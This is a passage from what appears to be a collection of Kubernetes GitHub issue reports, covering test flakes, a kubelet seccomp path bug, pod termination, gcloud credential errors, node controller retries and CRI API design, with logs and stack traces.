/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_metrics.go:229\r    \r \r   what you expected to happen  :\r test should not flake\r \r  /cc @kubernetes/sig-storage-bugs

while auditing absolute/relative path behavior in the kubelet, i came across this: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/helpers_linux.go l61-l66\r \r    \r \tif !strings.hasprefix seccompprofile, \ localhost/\   {\r \t\treturn nil, fmt.errorf \ unknown seccomp profile option: %s\ , seccompprofile \r \t}\r \r \tfname := strings.trimprefix seccompprofile, \ localhost/\   // by pod annotation validation, name is a valid subpath\r \tfile, err := ioutil.readfile filepath.fromslash fname  \r    \r \r it looks like it just ignores the root directory altogether, and reads relative to the kubelet's cwd.\r \r /cc @tallclair @yujuhong @feiskyer

i had a pod running on a node using tag  a/b:latest   kube 1.9.1 / docker 1.13 .  i untagged the image  tag removed, image still accessible via local id  and then delete the pod.  however, the pod never terminates  staying in terminating state  and i see the following events:\r \r    \r   warning  unhealthy              4m  x5 over 4m   kubelet, localhost  liveness probe failed: http probe failed with statuscode: 500\r   normal   pulled                 4m  x3 over 5m   kubelet, localhost  container image \ openshift/origin-haproxy-router:v3.10\  already present on machine\r   normal   killing                4m  x2 over 4m   kubelet, localhost  killing container with id docker://router:container failed liveness probe.. container will be killed and recreated.\r   normal   killing                1m               kubelet, localhost  killing container with id docker://router:need to kill pod\r   warning  failedsync             1m  x2 over 1m   kubelet, localhost  error determining status: rpc error: code = unknown desc = unable to inspect docker image \ sha256:660704dd0e9f11636c250a2c4e6ee6da0f2f6c998a115f52ae1e15d63eb41139\  while inspecting docker container \ 2762f1f8fd9d826410c585b91cc44751de12990989e8c45a4a87249da9ae2c44\ : no such image: \ sha256:660704dd0e9f11636c250a2c4e6ee6da0f2f6c998a115f52ae1e15d63eb41139\ \r    \r \r it looks like the sync loop is failing because it can't inspect the image  this could be a bug in docker 1.13 .  failure to inspect the image should  not  block pod shutdown.\r \r an accidental admin script could wedge the node.\r \r @kubernetes/sig-node-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r no\r \r   what happened  :\r i have deployed more resources on my kubernetes cluster. but i cannot declare securitycontext on my pod. because i added the flag  securitycontextdeny  on admission-control when deploy kubernetes.\r \r i trying to remove them by following step:\r \r 1. ssh enter to master node.\r 2. vim /etc/kubernetes/manifests/kube-apiserver.yaml.\r 3. remove the securitycontextdeny flag on  admission-control \r 4.  kubectl get pod  is not working, it display timeout error.\r 5.  docker ps , kube controller and scheduler is restarting, but kubelet is do nothing, api server is dead.\r 6. sudo system restart kubelet\r 7. wait a moment\r 8. everything back\r \r is that a best way to remove the configuration?\r i think that is too crazy.\r expected behavior is api-server reload configuration, instead of kube-apiserver dead, or restart kubelet, right?\r \r i have tried other methods, like  kubelet edit pod kube-apiserver ,\r but it always return  error: there was a problem with the editor \ vi\  \r \r the kubernetes official document doesn't show how to turn off, only turn on... \r https://v1-7.docs.kubernetes.io/docs/admin/admission-controllers/ how-do-i-turn-on-an-admission-control-plug-in\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:06z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t16:55:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r azure cloud provider\r    \r - kernel  e.g.  uname -a  : \r    \r darwin edwinde-macbook-pro.local 16.7.0 darwin kernel version 16.7.0: mon nov 13 21:56:25 pst 2017; root:xnu-3789.72.11~1/release_x86_64 x86_64\r

bug report\r ---\r \r  \r   what happened  :\r i have also file a stackoverflow submission on this too: https://stackoverflow.com/questions/49637446/error-gcloud-crashed-cannotconnecttometadataserverexception-urlopen-error.\r \r i am having issues configuring my container to point to my kubernetes cluster with the command gcloud container clusters get-credentials. i get the following error.\r \r    \r error: gcloud crashed  cannotconnecttometadataserverexception : <urlopen error  errno -2  name does not resolve>\r \r if you would like to report this issue, please run the following command:\r   gcloud feedback\r \r to check gcloud for common problems, please run the following command:\r   gcloud info --run-diagnostics\r    \r \r when look at the deeper logs in the  /root/.gcloud/logs  directory i see the following:\r \r    \r cannotconnecttometadataserverexception: <urlopen error  errno -2  name does not resolve>\r 2018-04-10 18:00:42,625 error    ___file_only___ begin crash stacktrace\r traceback  most recent call last :\r   file \ /google-cloud-sdk/lib/googlecloudsdk/gcloud_main.py\ , line 147, in main\r     gcloud_cli.execute  \r   file \ /google-cloud-sdk/lib/googlecloudsdk/calliope/cli.py\ , line 818, in execute\r     self._handleallerrors exc, command_path_string, specified_arg_names \r   file \ /google-cloud-sdk/lib/googlecloudsdk/calliope/cli.py\ , line 856, in _handleallerrors\r     exceptions.handleerror exc, command_path_string, self.__known_error_handler \r   file \ /google-cloud-sdk/lib/googlecloudsdk/calliope/exceptions.py\ , line 526, in handleerror\r     core_exceptions.reraise exc \r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/exceptions.py\ , line 111, in reraise\r     six.reraise type exc_value , exc_value, tb \r   file \ /google-cloud-sdk/lib/googlecloudsdk/calliope/cli.py\ , line 792, in execute\r     resources = calliope_command.run cli=self, args=args \r   file \ /google-cloud-sdk/lib/googlecloudsdk/calliope/backend.py\ , line 751, in run\r     self._parent_group.rungroupfilter tool_context, args \r   file \ /google-cloud-sdk/lib/googlecloudsdk/calliope/backend.py\ , line 692, in rungroupfilter\r     self._parent_group.rungroupfilter context, args \r   file \ /google-cloud-sdk/lib/googlecloudsdk/calliope/backend.py\ , line 693, in rungroupfilter\r     self._common_type  .filter context, args \r   file \ /google-cloud-sdk/lib/surface/container/__init__.py\ , line 71, in filter\r     context 'api_adapter'  = api_adapter.newapiadapter 'v1' \r   file \ /google-cloud-sdk/lib/googlecloudsdk/api_lib/container/api_adapter.py\ , line 147, in newapiadapter\r     return newv1apiadapter  \r   file \ /google-cloud-sdk/lib/googlecloudsdk/api_lib/container/api_adapter.py\ , line 151, in newv1apiadapter\r     return initapiadapter 'v1', v1adapter \r   file \ /google-cloud-sdk/lib/googlecloudsdk/api_lib/container/api_adapter.py\ , line 172, in initapiadapter\r     api_client = core_apis.getclientinstance 'container', api_version \r   file \ /google-cloud-sdk/lib/googlecloudsdk/api_lib/util/apis.py\ , line 297, in getclientinstance\r     api_name, api_version, no_http, _checkresponse, enable_resource_quota \r   file \ /google-cloud-sdk/lib/googlecloudsdk/api_lib/util/apis_internal.py\ , line 153, in _getclientinstance\r     http_client = http.http enable_resource_quota=enable_resource_quota \r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/credentials/http.py\ , line 64, in http\r     creds = store.loadifenabled  \r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/credentials/store.py\ , line 281, in loadifenabled\r     return load  \r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/credentials/store.py\ , line 348, in load\r     cred = static_credential_providers.getcredentials account \r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/credentials/store.py\ , line 162, in getcredentials\r     cred = provider.getcredentials account \r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/credentials/store.py\ , line 214, in getcredentials\r     if account in c_gce.metadata  .accounts  :\r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/credentials/gce.py\ , line 127, in accounts\r     gce_read.google_gce_metadata_accounts_uri + '/' \r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/util/retry.py\ , line 289, in decoratedfunction\r     exceptions.reraise to_reraise 1 , tb=to_reraise 2  \r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/exceptions.py\ , line 111, in reraise\r     six.reraise type exc_value , exc_value, tb \r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/util/retry.py\ , line 159, in tryfunc\r     return func  args,   kwargs , none\r   file \ /google-cloud-sdk/lib/googlecloudsdk/core/credentials/gce.py\ , line 52, in _readnoproxywithcleanfailures\r     raise cannotconnecttometadataserverexception e \r cannotconnecttometadataserverexception: <urlopen error  errno -2  name does not resolve>\r    \r \r to give some color, we kick off a build to circleci everytime we push code to github. however, we have a container we call internally belushi, that we use to run our entire infrastructure. this container has gcloud installed in it. circleci infrastructure is on aws and when they spin up the belushi container we actually run gcloud get-credentials that point the belushi container to our project in google cloud, which has a kubernetes cluster configured and we run all of our functional ci testing in that cluster. so we need that belushi pod to configure into the ci project to move forward.\r \r the weird thing is that the belushi:latest image always configures properly; however, when we are working on belushi we often branch and create a new image to run tests. so for example, i will create a branch in belushi and then have a new hash of 1234567, so we will spin up the belushi:1234567 image and try to run things, and the first thing we do is configure it to point to the ci project; however, we get that metadata resolve issue.\r \r i feel like it is dns related or maybe the metadata server isn't allow the new image of belushi to communicate with it right away. after i retry it a bunch of times it will eventually configure properly  without any code changes . so i wonder if the metadata server is rejecting it for some reason or it could be on aws not resolving for some unknown reason.\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r i can reliably do this in circleci at the moment, but you would need to have a lot of the tools, but maybe just installing gcloud and configuring it to your gke cluster with different image tags could do it.  \r \r   environment  :\r - kubernetes version: \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :  linux 491cbcc8a0ac 4.4.0-119-generic  143~14.04.1-ubuntu smp mon apr 2 18:04:36 utc 2018 x86_64 gnu/linux \r - install tools: running inside of docker container\r

the comments in cmd/kubeadm/app/phases/controlplane/manifests.go mention the ipv6 /66 restriction. this restriction was removed in pr 60089\r also, the unit tests show the /66 as the largest subnet.\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

seeing flakes in the testvolumebindingstress test:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/58474/pull-kubernetes-integration/9177/\r \r the recent changes to this test in https://github.com/kubernetes/kubernetes/pull/62929 assume events are a reliable message bus, which they are not.

bump evanphx/json-patch to pick up: https://github.com/evanphx/json-patch/commit/fcd53eccb4f88d7e54b742358017d72c9b34ae44, and enable the new flag, in order to be compliant with the json patch spec  see: https://github.com/evanphx/json-patch/issues/65 issue-359587607 .\r \r this will at a minimum require an action-needed release note. we don't know if anyone is using this feature today.

gce-scale-performance regressed on pod-startup-time  there is very high flakiness now .\r \r @mm4tt will provide more details on that tomorrow, \r \r this happened somewhere between runs 283 and 288  there is strong hypothesis that between 283 and 284, but i'm not 100% convinced

context: i'm currently working on getting minions working with aws spot fleet. instead of using the workaround discussed in  24472 i decided to setup a service that would regularly poll the aws api, list the instances and tag them as required  see: https://github.com/thomaso-mirodin/spot-fleet-tagger for my basic impl .  it seems that if a newly registered kubelet fails the first cloud provider health check, the node controller will never actually rerun the cloud provider health check fully unless the minion's kubelet process is restarted  via init or reboot . it seems that the retry loop the kubelet is in will at least attempt some partial rejoin, but because the node controller never seems to rerun the cloud provider healthcheck it will fail indefinitely.  relevant logs from the controller manager:      i0705 23:29:40.016523       1 nodecontroller.go:415  nodecontroller observed a new node: api.node{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ ip-10-20-11-49.us-west-2.compute.internal\ , generatename:\ \ , namespace:\ \ , selflink:\ /api/v1/nodes/ip-10-20-11-49.us-west-2.compute.internal\ , uid:\ 579ae109-4308-11e6-8089-023c36c152d3\ , resourceversion:\ 42783938\ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:63603358178, nsec:0, loc:  time.location  0x3b1c5c0 }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{<removed>}, images:  api.containerimage nil }} i0705 23:29:40.016715       1 nodecontroller.go:603  recording registered node ip-10-20-11-49.us-west-2.compute.internal in nodecontroller event message for node ip-10-20-11-49.us-west-2.compute.internal w0705 23:29:40.016787       1 nodecontroller.go:670  missing timestamp for node ip-10-20-11-49.us-west-2.compute.internal. assuming now as a timestamp. i0705 23:29:40.016803       1 event.go:211  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ ip-10-20-11-49.us-west-2.compute.internal\ , uid:\ ip-10-20-11-49.us-west-2.compute.internal\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'registerednode' node ip-10-20-11-49.us-west-2.compute.internal event: registered node ip-10-20-11-49.us-west-2.compute.internal in nodecontroller i0705 23:29:40.480742       1 nodecontroller.go:504  deleting node  no longer present in cloud provider : ip-10-20-11-49.us-west-2.compute.internal i0705 23:29:40.480766       1 nodecontroller.go:603  recording deleting node ip-10-20-11-49.us-west-2.compute.internal because it's not present according to cloud provider event message for node ip-10-20-11-49.us-west-2.compute.internal i0705 23:29:40.480812       1 event.go:211  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ ip-10-20-11-49.us-west-2.compute.internal\ , uid:\ ip-10-20-11-49.us-west-2.compute.internal\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'deletingnode' node ip-10-20-11-49.us-west-2.compute.internal event: deleting node ip-10-20-11-49.us-west-2.compute.internal because it's not present according to cloud provider i0705 23:29:45.518965       1 nodecontroller.go:430  nodecontroller observed a node deletion: ip-10-20-11-49.us-west-2.compute.internal i0705 23:29:45.518997       1 nodecontroller.go:603  recording removing node ip-10-20-11-49.us-west-2.compute.internal from nodecontroller event message for node ip-10-20-11-49.us-west-2.compute.internal i0705 23:29:45.519197       1 event.go:211  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ ip-10-20-11-49.us-west-2.compute.internal\ , uid:\ ip-10-20-11-49.us-west-2.compute.internal\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'removingnode' node ip-10-20-11-49.us-west-2.compute.internal event: removing node ip-10-20-11-49.us-west-2.compute.internal from nodecontroller i0705 23:29:45.597424       1 nodecontroller.go:603  recording deleting all pods from node ip-10-20-11-49.us-west-2.compute.internal. event message for node ip-10-20-11-49.us-west-2.compute.internal i0705 23:29:45.597512       1 nodecontroller.go:839  starting deletion of pod kube-proxy-ip-10-20-11-49.us-west-2.compute.internal i0705 23:29:45.597795       1 event.go:211  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ ip-10-20-11-49.us-west-2.compute.internal\ , uid:\ ip-10-20-11-49.us-west-2.compute.internal\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'deletingallpods' node ip-10-20-11-49.us-west-2.compute.internal event: deleting all pods from node ip-10-20-11-49.us-west-2.compute.internal. i0705 23:29:45.598241       1 event.go:211  event api.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-proxy-ip-10-20-11-49.us-west-2.compute.internal\ , uid:\ 5a78bb56-4308-11e6-8089-023c36c152d3\ , apiversion:\ v1\ , resourceversion:\ 42783969\ , fieldpath:\ \ } : type: 'normal' reason: 'nodecontrollereviction' marking for deletion pod kube-proxy-ip-10-20-11-49.us-west-2.compute.internal from node ip-10-20-11-49.us-west-2.compute.internal i0705 23:29:45.618804       1 nodecontroller.go:400  forceful deletion of kube-proxy-ip-10-20-11-49.us-west-2.compute.internal succeeded e0705 23:29:45.620287       1 nodecontroller.go:352  pods \ kube-proxy-ip-10-20-11-49.us-west-2.compute.internal\  not found i0705 23:29:45.692231       1 nodecontroller.go:275  all pods terminated on ip-10-20-11-49.us-west-2.compute.internal i0705 23:29:45.692256       1 nodecontroller.go:603  recording terminated all pods on node ip-10-20-11-49.us-west-2.compute.internal. event message for node ip-10-20-11-49.us-west-2.compute.internal i0705 23:29:45.692316       1 event.go:211  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ ip-10-20-11-49.us-west-2.compute.internal\ , uid:\ ip-10-20-11-49.us-west-2.compute.internal\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'terminatedallpods' node ip-10-20-11-49.us-west-2.compute.internal event: terminated all pods on node ip-10-20-11-49.us-west-2.compute.internal. e0705 23:30:33.847780       1 nodecontroller.go:352  pods \ kube-proxy-ip-10-20-11-49.us-west-2.compute.internal\  not found i0705 23:30:33.851718       1 nodecontroller.go:400  forceful deletion of kube-proxy-ip-10-20-11-49.us-west-2.compute.internal succeeded i0705 23:30:34.785403       1 nodecontroller.go:400  forceful deletion of kube-proxy-ip-10-20-11-49.us-west-2.compute.internal succeeded e0705 23:30:34.787754       1 nodecontroller.go:352  pods \ kube-proxy-ip-10-20-11-49.us-west-2.compute.internal\  not found i0705 23:31:03.859249       1 nodecontroller.go:400  forceful deletion of kube-proxy-ip-10-20-11-49.us-west-2.compute.internal succeeded e0705 23:31:03.861216       1 nodecontroller.go:352  pods \ kube-proxy-ip-10-20-11-49.us-west-2.compute.internal\  not found   instance now has the required tags e0705 23:31:33.869395       1 nodecontroller.go:352  pods \ kube-proxy-ip-10-20-11-49.us-west-2.compute.internal\  not found i0705 23:31:33.869942       1 nodecontroller.go:400  forceful deletion of kube-proxy-ip-10-20-11-49.us-west-2.compute.internal succeeded e0705 23:31:33.894830       1 nodecontroller.go:352  pods \ kube-proxy-ip-10-20-11-49.us-west-2.compute.internal\  not found i0705 23:32:03.878586       1 nodecontroller.go:400  forceful deletion of kube-proxy-ip-10-20-11-49.us-west-2.compute.internal succeeded i0705 23:32:03.891587       1 nodecontroller.go:400  forceful deletion of kube-proxy-ip-10-20-11-49.us-west-2.compute.internal succeeded e0705 23:32:03.892869       1 nodecontroller.go:352  pods \ kube-proxy-ip-10-20-11-49.us-west-2.compute.internal\  not found e0705 23:32:33.888816       1 nodecontroller.go:352  pods \ kube-proxy-ip-10-20-11-49.us-west-2.compute.internal\  not found   repeats forever      sorry if this is expected behavior or if i'm misunderstanding the steps involved when a kubelet joins the minion pool but i looked at the docs and the node controller code and neither gives me the impression that retries would not actually attempt to rejoin the cluster. - https://github.com/kubernetes/kubernetes/blob/master/docs/design/aws_under_the_hood.md tagging - https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/node/nodecontroller.go l634  there are a few workarounds available to me  reboot via api, cron job to check nodes labels and restart the kubelet, etc  but they are all less than ideal :d  ---  versions:        worker kubelet core@ip-10-20-0-10 ~ $ /opt/bin/kubelet --version kubernetes v1.2.4            controller manager's hyberkube root@ip-10-20-0-10:/  /hyperkube --version kubernetes v1.2.4      both were compiled from  3eed1e3be6848b877ff80a93da3785d9034d0a4f

the umbrella issue for container runtime interface/api:  28396  pr  17048 introduces the client/server architecture to improve container runtime integration. the pr uses protobuf+grpc, with api defined manually in the proto files and the corresponding go code generated automatically. this process is straightforward and let us focus on the iterating the api itself.  in the long run, we may want to reconsider these choices to ensure we have a good upgrade  roll forward/back  story for kubelet and the container runtime, while keeping the manual maintenance overhead manageable. one option is to follow the standard kubernetes api and reuse all the framework/machinery  see the  api changes doc  https://github.com/kubernetes/kubernetes/blob/5617360d39aba337f1617775ad97850ad27361f8/docs/devel/api_changes.md  for an overview . this includes  but not limited to : - versioned api+internal structs - versioned defaulting - automatically generated conversion code  from versioned to internal structs  - validation  /cc @kubernetes/sig-node

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/19\r \r the test failed with the reason:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:124\r expected error:\r     < errors.errorstring | 0xc42068c910>: {\r         s: \ couldn't find 32 pods within 5m0s; last error: expected to find 32 pods but found only 29\ ,\r     }\r     couldn't find 32 pods within 5m0s; last error: expected to find 32 pods but found only 29\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:119\r    \r \r when check the test log, i found that before restart there are actually 32 pods:\r    \r i1118 14:16:46.689  nov 18 14:16:46.688: info: waiting up to 5m0s for pod kube-dns-3616185523-gts7f status to be running and ready, or succeeded\r i1118 14:16:46.689  nov 18 14:16:46.688: info: waiting up to 5m0s for pod node-problem-detector-v0.1-0ivtu status to be running and ready, or succeeded\r i1118 14:16:46.690  nov 18 14:16:46.688: info: waiting up to 5m0s for pod fluentd-cloud-logging-bootstrap-e2e-minion-group-e7ao status to be running and ready, or succeeded\r i1118 14:16:46.690  nov 18 14:16:46.689: info: waiting up to 5m0s for pod kubernetes-dashboard-3697774758-q931c status to be running and ready, or succeeded\r i1118 14:16:46.691  nov 18 14:16:46.689: info: waiting up to 5m0s for pod monitoring-influxdb-grafana-v4-49jz8 status to be running and ready, or succeeded\r i1118 14:16:46.692  nov 18 14:16:46.689: info: waiting up to 5m0s for pod kube-dns-3616185523-b0xl9 status to be running and ready, or succeeded\r i1118 14:16:46.692  nov 18 14:16:46.690: info: waiting up to 5m0s for pod fluentd-cloud-logging-bootstrap-e2e-master status to be running and ready, or succeeded\r i1118 14:16:46.692  nov 18 14:16:46.690: info: waiting up to 5m0s for pod kube-proxy-bootstrap-e2e-minion-group-f09t status to be running and ready, or succeeded\r i1118 14:16:46.693  nov 18 14:16:46.690: info: waiting up to 5m0s for pod kube-dns-autoscaler-2715466192-7ujy3 status to be running and ready, or succeeded\r i1118 14:16:46.693  nov 18 14:16:46.690: info: waiting up to 5m0s for pod e2e-image-puller-bootstrap-e2e-minion-group-f09t status to be running and ready, or succeeded\r i1118 14:16:46.693  nov 18 14:16:46.690: info: waiting up to 5m0s for pod kube-controller-manager-bootstrap-e2e-master status to be running and ready, or succeeded\r i1118 14:16:46.693  nov 18 14:16:46.691: info: waiting up to 5m0s for pod fluentd-cloud-logging-bootstrap-e2e-minion-group-f09t status to be running and ready, or succeeded\r i1118 14:16:46.693  nov 18 14:16:46.691: info: waiting up to 5m0s for pod kube-apiserver-bootstrap-e2e-master status to be running and ready, or succeeded\r i1118 14:16:46.694  nov 18 14:16:46.691: info: waiting up to 5m0s for pod etcd-server-events-bootstrap-e2e-master status to be running and ready, or succeeded\r i1118 14:16:46.694  nov 18 14:16:46.691: info: waiting up to 5m0s for pod kube-dns-3616185523-ru3cw status to be running and ready, or succeeded\r i1118 14:16:46.694  nov 18 14:16:46.691: info: waiting up to 5m0s for pod e2e-image-puller-bootstrap-e2e-minion-group-e7ao status to be running and ready, or succeeded\r i1118 14:16:46.694  nov 18 14:16:46.691: info: waiting up to 5m0s for pod kube-proxy-bootstrap-e2e-minion-group-ixxj status to be running and ready, or succeeded\r i1118 14:16:46.694  nov 18 14:16:46.691: info: waiting up to 5m0s for pod l7-lb-controller-v0.8.0-bootstrap-e2e-master status to be running and ready, or succeeded\r i1118 14:16:46.694  nov 18 14:16:46.692: info: waiting up to 5m0s for pod l7-default-backend-2234341178-ir0p8 status to be running and ready, or succeeded\r i1118 14:16:46.695  nov 18 14:16:46.692: info: waiting up to 5m0s for pod rescheduler-v0.2.1-bootstrap-e2e-master status to be running and ready, or succeeded\r i1118 14:16:46.695  nov 18 14:16:46.692: info: waiting up to 5m0s for pod node-problem-detector-v0.1-ly3u0 status to be running and ready, or succeeded\r i1118 14:16:46.695  nov 18 14:16:46.692: info: waiting up to 5m0s for pod kube-addon-manager-bootstrap-e2e-master status to be running and ready, or succeeded\r i1118 14:16:46.695  nov 18 14:16:46.692: info: waiting up to 5m0s for pod etcd-server-bootstrap-e2e-master status to be running and ready, or succeeded\r i1118 14:16:46.695  nov 18 14:16:46.692: info: waiting up to 5m0s for pod fluentd-cloud-logging-bootstrap-e2e-minion-group-ixxj status to be running and ready, or succeeded\r i1118 14:16:46.695  nov 18 14:16:46.692: info: waiting up to 5m0s for pod kube-scheduler-bootstrap-e2e-master status to be running and ready, or succeeded\r i1118 14:16:46.695  nov 18 14:16:46.692: info: waiting up to 5m0s for pod etcd-empty-dir-cleanup-bootstrap-e2e-master status to be running and ready, or succeeded\r i1118 14:16:46.695  nov 18 14:16:46.692: info: waiting up to 5m0s for pod kube-proxy-bootstrap-e2e-minion-group-e7ao status to be running and ready, or succeeded\r i1118 14:16:46.696  nov 18 14:16:46.692: info: waiting up to 5m0s for pod kube-dns-3616185523-9olcp status to be running and ready, or succeeded\r i1118 14:16:46.696  nov 18 14:16:46.692: info: waiting up to 5m0s for pod heapster-v1.2.0-2805816975-dll47 status to be running and ready, or succeeded\r i1118 14:16:46.696  nov 18 14:16:46.692: info: waiting up to 5m0s for pod e2e-image-puller-bootstrap-e2e-minion-group-ixxj status to be running and ready, or succeeded\r i1118 14:16:46.696  nov 18 14:16:46.692: info: waiting up to 5m0s for pod node-problem-detector-v0.1-8bu64 status to be running and ready, or succeeded\r i1118 14:16:46.696  nov 18 14:16:46.692: info: waiting up to 5m0s for pod node-problem-detector-v0.1-0ffdy status to be running and ready, or succeeded\r    \r however, after restart, there are only 29 pods:\r    \r i1118 14:24:48.528  nov 18 14:24:48.516: info: e2e-image-puller-bootstrap-e2e-minion-group-e7ao       bootstrap-e2e-minion-group-e7ao  succeeded          {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:44 -0800 pst podcompleted } {ready false 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:55 -0800 pst podcompleted } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:41 -0800 pst  } \r i1118 14:24:48.528  nov 18 14:24:48.516: info: e2e-image-puller-bootstrap-e2e-minion-group-f09t       bootstrap-e2e-minion-group-f09t  succeeded          {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:40 -0800 pst podcompleted } {ready false 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:40 -0800 pst podcompleted } \r i1118 14:24:48.528  nov 18 14:24:48.516: info: e2e-image-puller-bootstrap-e2e-minion-group-ixxj       bootstrap-e2e-minion-group-ixxj  succeeded          {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:44 -0800 pst podcompleted } {ready false 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:54 -0800 pst podcompleted } \r i1118 14:24:48.529  nov 18 14:24:48.516: info: etcd-empty-dir-cleanup-bootstrap-e2e-master            bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:03 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } \r i1118 14:24:48.529  nov 18 14:24:48.516: info: etcd-server-bootstrap-e2e-master                       bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:02 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } \r i1118 14:24:48.529  nov 18 14:24:48.516: info: etcd-server-events-bootstrap-e2e-master                bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:02 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } \r i1118 14:24:48.529  nov 18 14:24:48.517: info: fluentd-cloud-logging-bootstrap-e2e-master             bootstrap-e2e-master             running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:55 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:32:38 -0800 pst  } \r i1118 14:24:48.530  nov 18 14:24:48.517: info: fluentd-cloud-logging-bootstrap-e2e-minion-group-e7ao  bootstrap-e2e-minion-group-e7ao  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 13:33:44 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:19:32 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:41 -0800 pst  } \r i1118 14:24:48.530  nov 18 14:24:48.517: info: fluentd-cloud-logging-bootstrap-e2e-minion-group-f09t  bootstrap-e2e-minion-group-f09t  running            {initialized true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:14:14 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:19:14 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-11-18 14:18:40 -0800 pst  } \r i1118 14:24:48.530  nov 18 14:24:48.517: info: fluentd-cloud-logging-bootstrap-e2e-minion-group-ixxj  